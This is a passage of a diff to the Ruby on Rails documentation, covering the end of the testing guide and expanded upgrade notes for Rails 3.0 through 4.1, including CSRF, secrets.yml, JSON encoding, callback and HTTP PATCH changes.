|
808
|
-
| `rake test` | Runs all unit, functional and integration tests. You can also simply run `rake` as the _test_ target is the default.|
|
809
|
-
| `rake test:recent` | Tests recent changes|
|
810
|
-
| `rake test:uncommitted` | Runs all the tests which are uncommitted. Supports Subversion and Git|
|
811
815
|
|
812
816
|
Brief Note About `MiniTest`
|
813
817
|
-----------------------------
|
@@ -901,10 +905,9 @@ class PostsControllerTest < ActionController::TestCase
|
|
901
905
|
|
902
906
|
private
|
903
907
|
|
904
|
-
|
905
|
-
|
906
|
-
|
907
|
-
|
908
|
+
def initialize_post
|
909
|
+
@post = posts(:one)
|
910
|
+
end
|
908
911
|
end
|
909
912
|
```
|
910
913
|
|
@@ -926,7 +929,7 @@ Testing mailer classes requires some specific tools to do a thorough job.
|
|
926
929
|
|
927
930
|
### Keeping the Postman in Check
|
928
931
|
|
929
|
-
Your mailer classes
|
932
|
+
Your mailer classes - like every other part of your Rails application - should be tested to ensure that it is working as expected.
|
930
933
|
|
931
934
|
The goals of testing your mailer classes are to ensure that:
|
932
935
|
|
@@ -3,8 +3,6 @@ A Guide for Upgrading Ruby on Rails
|
|
3
3
|
|
4
4
|
This guide provides steps to be followed when you upgrade your applications to a newer version of Ruby on Rails. These steps are also available in individual release guides.
|
5
5
|
|
6
|
-
--------------------------------------------------------------------------------
|
7
|
-
|
8
6
|
General Advice
|
9
7
|
--------------
|
10
8
|
|
@@ -24,15 +22,331 @@ Rails generally stays close to the latest released Ruby version when it's releas
|
|
24
22
|
|
25
23
|
TIP: Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump straight to 1.9.3 for smooth sailing.
|
26
24
|
|
27
|
-
Upgrading from Rails
|
25
|
+
Upgrading from Rails 4.0 to Rails 4.1
|
28
26
|
-------------------------------------
|
29
27
|
|
30
28
|
NOTE: This section is a work in progress.
|
31
29
|
|
30
|
+
### CSRF protection from remote `<script>` tags
|
31
|
+
|
32
|
+
Or, "whaaat my tests are failing!!!?"
|
33
|
+
|
34
|
+
Cross-site request forgery (CSRF) protection now covers GET requests with
|
35
|
+
JavaScript responses, too. That prevents a third-party site from referencing
|
36
|
+
your JavaScript URL and attempting to run it to extract sensitive data.
|
37
|
+
|
38
|
+
This means that your functional and integration tests that use
|
39
|
+
|
40
|
+
```ruby
|
41
|
+
get :index, format: :js
|
42
|
+
```
|
43
|
+
|
44
|
+
will now trigger CSRF protection. Switch to
|
45
|
+
|
46
|
+
```ruby
|
47
|
+
xhr :get, :index, format: :js
|
48
|
+
```
|
49
|
+
|
50
|
+
to explicitly test an XmlHttpRequest.
|
51
|
+
|
52
|
+
If you really mean to load JavaScript from remote `<script>` tags, skip CSRF
|
53
|
+
protection on that action.
|
54
|
+
|
55
|
+
### Spring
|
56
|
+
|
57
|
+
If you want to use Spring as your application preloader you need to:
|
58
|
+
|
59
|
+
1. Add `gem 'spring', group: :development` to your `Gemfile`.
|
60
|
+
2. Install spring using `bundle install`.
|
61
|
+
3. Springify your binstubs with `bundle exec spring binstub --all`.
|
62
|
+
|
63
|
+
NOTE: User defined rake tasks will run in the `development` environment by
|
64
|
+
default. If you want them to run in other environments consult the
|
65
|
+
[Spring README](https://github.com/jonleighton/spring#rake).
|
66
|
+
|
67
|
+
### `config/secrets.yml`
|
68
|
+
|
69
|
+
If you want to use the new `secrets.yml` convention to store your application's
|
70
|
+
secrets, you need to:
|
71
|
+
|
72
|
+
1. Create a `secrets.yml` file in your `config` folder with the following content:
|
73
|
+
|
74
|
+
```yaml
|
75
|
+
development:
|
76
|
+
secret_key_base:
|
77
|
+
|
78
|
+
test:
|
79
|
+
secret_key_base:
|
80
|
+
|
81
|
+
production:
|
82
|
+
secret_key_base:
|
83
|
+
```
|
84
|
+
|
85
|
+
2. Copy the existing `secret_key_base` from the `secret_token.rb` initializer to
|
86
|
+
`secrets.yml` under the `production` section.
|
87
|
+
|
88
|
+
3. Remove the `secret_token.rb` initializer.
|
89
|
+
|
90
|
+
4. Use `rake secret` to generate new keys for the `development` and `test` sections.
|
91
|
+
|
92
|
+
5. Restart your server.
|
93
|
+
|
94
|
+
### Changes in JSON handling
|
95
|
+
|
96
|
+
There are a few major changes related to JSON handling in Rails 4.1.
|
97
|
+
|
98
|
+
#### MultiJSON removal
|
99
|
+
|
100
|
+
MultiJSON has reached its [end-of-life](https://github.com/rails/rails/pull/10576)
|
101
|
+
and has been removed from Rails.
|
102
|
+
|
103
|
+
If your application currently depend on MultiJSON directly, you have a few options:
|
104
|
+
|
105
|
+
1. Add 'multi_json' to your Gemfile. Note that this might cease to work in the future
|
106
|
+
|
107
|
+
2. Migrate away from MultiJSON by using `obj.to_json`, and `JSON.parse(str)` instead.
|
108
|
+
|
109
|
+
WARNING: Do not simply replace `MultiJson.dump` and `MultiJson.load` with
|
110
|
+
`JSON.dump` and `JSON.load`. These JSON gem APIs are meant for serializing and
|
111
|
+
deserializing arbitrary Ruby objects and are generally [unsafe](http://www.ruby-doc.org/stdlib-2.0.0/libdoc/json/rdoc/JSON.html#method-i-load).
|
112
|
+
|
113
|
+
#### JSON gem compatibility
|
114
|
+
|
115
|
+
Historically, Rails had some compatibility issues with the JSON gem. Using
|
116
|
+
`JSON.generate` and `JSON.dump` inside a Rails application could produce
|
117
|
+
unexpected errors.
|
118
|
+
|
119
|
+
Rails 4.1 fixed these issues by isolating its own encoder from the JSON gem. The
|
120
|
+
JSON gem APIs will function as normal, but they will not have access to any
|
121
|
+
Rails-specific features. For example:
|
122
|
+
|
123
|
+
```ruby
|
124
|
+
class FooBar
|
125
|
+
def as_json(options = nil)
|
126
|
+
{ foo: "bar" }
|
127
|
+
end
|
128
|
+
end
|
129
|
+
|
130
|
+
>> FooBar.new.to_json # => "{\"foo\":\"bar\"}"
|
131
|
+
>> JSON.generate(FooBar.new, quirks_mode: true) # => "\"#<FooBar:0x007fa80a481610>\""
|
132
|
+
```
|
133
|
+
|
134
|
+
#### New JSON encoder
|
135
|
+
|
136
|
+
The JSON encoder in Rails 4.1 has been rewritten to take advantage of the JSON
|
137
|
+
gem. For most applications, this should be a transparent change. However, as
|
138
|
+
part of the rewrite, the following features have been removed from the encoder:
|
139
|
+
|
140
|
+
1. Circular data structure detection
|
141
|
+
2. Support for the `encode_json` hook
|
142
|
+
3. Option to encode `BigDecimal` objects as numbers instead of strings
|
143
|
+
|
144
|
+
If you application depends on one of these features, you can get them back by
|
145
|
+
adding the [`activesupport-json_encoder`](https://github.com/rails/activesupport-json_encoder)
|
146
|
+
gem to your Gemfile.
|
147
|
+
|
148
|
+
### Usage of `return` within inline callback blocks
|
149
|
+
|
150
|
+
Previously, Rails allowed inline callback blocks to use `return` this way:
|
151
|
+
|
152
|
+
```ruby
|
153
|
+
class ReadOnlyModel < ActiveRecord::Base
|
154
|
+
before_save { return false } # BAD
|
155
|
+
end
|
156
|
+
```
|
157
|
+
|
158
|
+
This behaviour was never intentionally supported. Due to a change in the internals
|
159
|
+
of `ActiveSupport::Callbacks`, this is no longer allowed in Rails 4.1. Using a
|
160
|
+
`return` statement in an inline callback block causes a `LocalJumpError` to
|
161
|
+
be raised when the callback is executed.
|
162
|
+
|
163
|
+
Inline callback blocks using `return` can be refactored to evaluate to the
|
164
|
+
returned value:
|
165
|
+
|
166
|
+
```ruby
|
167
|
+
class ReadOnlyModel < ActiveRecord::Base
|
168
|
+
before_save { false } # GOOD
|
169
|
+
end
|
170
|
+
```
|
171
|
+
|
172
|
+
Alternatively, if `return` is preferred it is recommended to explicitly define
|
173
|
+
a method:
|
174
|
+
|
175
|
+
```ruby
|
176
|
+
class ReadOnlyModel < ActiveRecord::Base
|
177
|
+
before_save :before_save_callback # GOOD
|
178
|
+
|
179
|
+
private
|
180
|
+
def before_save_callback
|
181
|
+
return false
|
182
|
+
end
|
183
|
+
end
|
184
|
+
```
|
185
|
+
|
186
|
+
This change applies to most places in Rails where callbacks are used, including
|
187
|
+
Active Record and Active Model callbacks, as well as filters in Action
|
188
|
+
Controller (e.g. `before_action`).
|
189
|
+
|
190
|
+
See [this pull request](https://github.com/rails/rails/pull/13271) for more
|
191
|
+
details.
|
192
|
+
|
193
|
+
### Methods defined in Active Record fixtures
|
194
|
+
|
195
|
+
Rails 4.1 evaluates each fixture's ERB in a separate context, so helper methods
|
196
|
+
defined in a fixture will not be available in other fixtures.
|
197
|
+
|
198
|
+
Helper methods that are used in multiple fixtures should be defined on modules
|
199
|
+
included in the newly introduced `ActiveRecord::FixtureSet.context_class`, in
|
200
|
+
`test_helper.rb`.
|
201
|
+
|
202
|
+
```ruby
|
203
|
+
class FixtureFileHelpers
|
204
|
+
def file_sha(path)
|
205
|
+
Digest::SHA2.hexdigest(File.read(Rails.root.join('test/fixtures', path)))
|
206
|
+
end
|
207
|
+
end
|
208
|
+
ActiveRecord::FixtureSet.context_class.send :include, FixtureFileHelpers
|
209
|
+
```
|
210
|
+
|
211
|
+
### I18n enforcing available locales
|
212
|
+
|
213
|
+
Rails 4.1 now defaults the I18n option `enforce_available_locales` to `true`,
|
214
|
+
meaning that it will make sure that all locales passed to it must be declared in
|
215
|
+
the `available_locales` list.
|
216
|
+
|
217
|
+
To disable it (and allow I18n to accept *any* locale option) add the following
|
218
|
+
configuration to your application:
|
219
|
+
|
220
|
+
```ruby
|
221
|
+
config.i18n.enforce_available_locales = false
|
222
|
+
```
|
223
|
+
|
224
|
+
Note that this option was added as a security measure, to ensure user input could
|
225
|
+
not be used as locale information unless previously known, so it's recommended not
|
226
|
+
to disable this option unless you have a strong reason for doing so.
|
227
|
+
|
228
|
+
### Mutator methods called on Relation
|
229
|
+
|
230
|
+
`Relation` no longer has mutator methods like `#map!` and `#delete_if`. Convert
|
231
|
+
to an `Array` by calling `#to_a` before using these methods.
|
232
|
+
|
233
|
+
It intends to prevent odd bugs and confusion in code that call mutator
|
234
|
+
methods directly on the `Relation`.
|
235
|
+
|
236
|
+
```ruby
|
237
|
+
# Instead of this
|
238
|
+
Author.where(name: 'Hank Moody').compact!
|
239
|
+
|
240
|
+
# Now you have to do this
|
241
|
+
authors = Author.where(name: 'Hank Moody').to_a
|
242
|
+
authors.compact!
|
243
|
+
```
|
244
|
+
|
245
|
+
Upgrading from Rails 3.2 to Rails 4.0
|
246
|
+
-------------------------------------
|
247
|
+
|
32
248
|
If your application is currently on any version of Rails older than 3.2.x, you should upgrade to Rails 3.2 before attempting one to Rails 4.0.
|
33
249
|
|
34
250
|
The following changes are meant for upgrading your application to Rails 4.0.
|
35
251
|
|
252
|
+
### HTTP PATCH
|
253
|
+
|
254
|
+
Rails 4 now uses `PATCH` as the primary HTTP verb for updates when a RESTful
|
255
|
+
resource is declared in `config/routes.rb`. The `update` action is still used,
|
256
|
+
and `PUT` requests will continue to be routed to the `update` action as well.
|
257
|
+
So, if you're using only the standard RESTful routes, no changes need to be made:
|
258
|
+
|
259
|
+
```ruby
|
260
|
+
resources :users
|
261
|
+
```
|
262
|
+
|
263
|
+
```erb
|
264
|
+
<%= form_for @user do |f| %>
|
265
|
+
```
|
266
|
+
|
267
|
+
```ruby
|
268
|
+
class UsersController < ApplicationController
|
269
|
+
def update
|
270
|
+
# No change needed; PATCH will be preferred, and PUT will still work.
|
271
|
+
end
|
272
|
+
end
|
273
|
+
```
|
274
|
+
|
275
|
+
However, you will need to make a change if you are using `form_for` to update
|
276
|
+
a resource in conjunction with a custom route using the `PUT` HTTP method:
|
277
|
+
|
278
|
+
```ruby
|
279
|
+
resources :users, do
|
280
|
+
put :update_name, on: :member
|
281
|
+
end
|
282
|
+
```
|
283
|
+
|
284
|
+
```erb
|
285
|
+
<%= form_for [ :update_name, @user ] do |f| %>
|
286
|
+
```
|
287
|
+
|
288
|
+
```ruby
|
289
|
+
class UsersController < ApplicationController
|
290
|
+
def update_name
|
291
|
+
# Change needed; form_for will try to use a non-existent PATCH route.
|
292
|
+
end
|
293
|
+
end
|
294
|
+
```
|
295
|
+
|
296
|
+
If the action is not being used in a public API and you are free to change the
|
297
|
+
HTTP method, you can update your route to use `patch` instead of `put`:
|
298
|
+
|
299
|
+
`PUT` requests to `/users/:id` in Rails 4 get routed to `update` as they are
|
300
|
+
today. So, if you have an API that gets real PUT requests it is going to work.
|
301
|
+
The router also routes `PATCH` requests to `/users/:id` to the `update` action.
|
302
|
+
|
303
|
+
```ruby
|
304
|
+
resources :users do
|
305
|
+
patch :update_name, on: :member
|
306
|
+
end
|
307
|
+
```
|
308
|
+
|
309
|
+
If the action is being used in a public API and you can't change to HTTP method
|
310
|
+
being used, you can update your form to use the `PUT` method instead:
|
311
|
+
|
312
|
+
```erb
|
313
|
+
<%= form_for [ :update_name, @user ], method: :put do |f| %>
|
314
|
+
```
|
315
|
+
|
316
|
+
For more on PATCH and why this change was made, see [this post](http://weblog.rubyonrails.org/2012/2/25/edge-rails-patch-is-the-new-primary-http-method-for-updates/)
|
317
|
+
on the Rails blog.
|
318
|
+
|
319
|
+
#### A note about media types
|
320
|
+
|
321
|
+
The errata for the `PATCH` verb [specifies that a 'diff' media type should be
|
322
|
+
used with `PATCH`](http://www.rfc-editor.org/errata_search.php?rfc=5789). One
|
323
|
+
such format is [JSON Patch](http://tools.ietf.org/html/rfc6902). While Rails
|
324
|
+
does not support JSON Patch natively, it's easy enough to add support:
|
325
|
+
|
326
|
+
```
|
327
|
+
# in your controller
|
328
|
+
def update
|
329
|
+
respond_to do |format|
|
330
|
+
format.json do
|
331
|
+
# perform a partial update
|
332
|
+
@post.update params[:post]
|
333
|
+
end
|
334
|
+
|
335
|
+
format.json_patch do
|
336
|
+
# perform sophisticated change
|
337
|
+
end
|
338
|
+
end
|
339
|
+
end
|
340
|
+
|
341
|
+
# In config/initializers/json_patch.rb:
|
342
|
+
Mime::Type.register 'application/json-patch+json', :json_patch
|
343
|
+
```
|
344
|
+
|
345
|
+
As JSON Patch was only recently made into an RFC, there aren't a lot of great
|
346
|
+
Ruby libraries yet. Aaron Patterson's
|
347
|
+
[hana](https://github.com/tenderlove/hana) is one such gem, but doesn't have
|
348
|
+
full support for the last few changes in the specification.
|
349
|
+
|
36
350
|
### Gemfile
|
37
351
|
|
38
352
|
Rails 4.0 removed the `assets` group from Gemfile. You'd need to remove that
|
@@ -59,9 +373,6 @@ Rails 4.0 no longer supports loading plugins from `vendor/plugins`. You must rep
|
|
59
373
|
|
60
374
|
* Rails 4.0 has changed `serialized_attributes` and `attr_readonly` to class methods only. You shouldn't use instance methods since it's now deprecated. You should change them to use class methods, e.g. `self.serialized_attributes` to `self.class.serialized_attributes`.
|
61
375
|
|
62
|
-
* When using the default coder, assigning `nil` to a serialized attribute will save it
|
63
|
-
to the database as `NULL` instead of passing the `nil` value through YAML (`"--- \n...\n"`).
|
64
|
-
|
65
376
|
* Rails 4.0 has removed `attr_accessible` and `attr_protected` feature in favor of Strong Parameters. You can use the [Protected Attributes gem](https://github.com/rails/protected_attributes) for a smooth upgrade path.
|
66
377
|
|
67
378
|
* If you are not using Protected Attributes, you can remove any options related to
|
@@ -77,6 +388,7 @@ this gem such as `whitelist_attributes` or `mass_assignment_sanitizer` options.
|
|
77
388
|
```
|
78
389
|
|
79
390
|
* Rails 4.0 has deprecated `ActiveRecord::Fixtures` in favor of `ActiveRecord::FixtureSet`.
|
391
|
+
|
80
392
|
* Rails 4.0 has deprecated `ActiveRecord::TestCase` in favor of `ActiveSupport::TestCase`.
|
81
393
|
|
82
394
|
* Rails 4.0 has deprecated the old-style hash based finder API. This means that
|
@@ -91,6 +403,12 @@ this gem such as `whitelist_attributes` or `mass_assignment_sanitizer` options.
|
|
91
403
|
* `find_or_initialize_by_...` becomes `find_or_initialize_by(...)`.
|
92
404
|
* `find_or_create_by_...` becomes `find_or_create_by(...)`.
|
93
405
|
|
406
|
+
* Note that `where(...)` returns a relation, not an array like the old finders. If you require an `Array`, use `where(...).to_a`.
|
407
|
+
|
408
|
+
* These equivalent methods may not execute the same SQL as the previous implementation.
|
409
|
+
|
410
|
+
* To re-enable the old finders, you can use the [activerecord-deprecated_finders gem](https://github.com/rails/activerecord-deprecated_finders).
|
411
|
+
|
94
412
|
### Active Resource
|
95
413
|
|
96
414
|
Rails 4.0 extracted Active Resource to its own gem. If you still need the feature you can add the [Active Resource gem](https://github.com/rails/activeresource) in your Gemfile.
|
@@ -239,25 +557,26 @@ config.assets.js_compressor = :uglifier
|
|
239
557
|
|
240
558
|
### sass-rails
|
241
559
|
|
242
|
-
* `
|
560
|
+
* `asset-url` with two arguments is deprecated. For example: `asset-url("rails.png", image)` becomes `asset-url("rails.png")`
|
243
561
|
|
244
562
|
Upgrading from Rails 3.1 to Rails 3.2
|
245
563
|
-------------------------------------
|
246
564
|
|
247
565
|
If your application is currently on any version of Rails older than 3.1.x, you should upgrade to Rails 3.1 before attempting an update to Rails 3.2.
|
248
566
|
|
249
|
-
The following changes are meant for upgrading your application to Rails 3.2.
|
567
|
+
The following changes are meant for upgrading your application to Rails 3.2.16,
|
568
|
+
the last 3.2.x version of Rails.
|
250
569
|
|
251
570
|
### Gemfile
|
252
571
|
|
253
572
|
Make the following changes to your `Gemfile`.
|
254
573
|
|
255
574
|
```ruby
|
256
|
-
gem 'rails', '
|
575
|
+
gem 'rails', '3.2.16'
|
257
576
|
|
258
577
|
group :assets do
|
259
|
-
gem 'sass-rails', '~> 3.2.
|
260
|
-
gem 'coffee-rails', '~> 3.2.
|
578
|
+
gem 'sass-rails', '~> 3.2.6'
|
579
|
+
gem 'coffee-rails', '~> 3.2.2'
|
261
580
|
gem 'uglifier', '>= 1.0.3'
|
262
581
|
end
|
263
582
|
```
|
@@ -293,21 +612,21 @@ Upgrading from Rails 3.0 to Rails 3.1
|
|
293
612
|
|
294
613
|
If your application is currently on any version of Rails older than 3.0.x, you should upgrade to Rails 3.0 before attempting an update to Rails 3.1.
|
295
614
|
|
296
|
-
The following changes are meant for upgrading your application to Rails 3.1.
|
615
|
+
The following changes are meant for upgrading your application to Rails 3.1.12, the last 3.1.x version of Rails.
|
297
616
|
|
298
617
|
### Gemfile
|
299
618
|
|
300
619
|
Make the following changes to your `Gemfile`.
|
301
620
|
|
302
621
|
```ruby
|
303
|
-
gem 'rails', '
|
622
|
+
gem 'rails', '3.1.12'
|
304
623
|
gem 'mysql2'
|
305
624
|
|
306
625
|
# Needed for the new asset pipeline
|
307
626
|
group :assets do
|
308
|
-
gem 'sass-rails',
|
309
|
-
gem 'coffee-rails',
|
310
|
-
gem 'uglifier',
|
627
|
+
gem 'sass-rails', '~> 3.1.7'
|
628
|
+
gem 'coffee-rails', '~> 3.1.1'
|
629
|
+
gem 'uglifier', '>= 1.0.3'
|
311
630
|
end
|
312
631
|
|
313
632
|
# jQuery is the default JavaScript library in Rails 3.1
|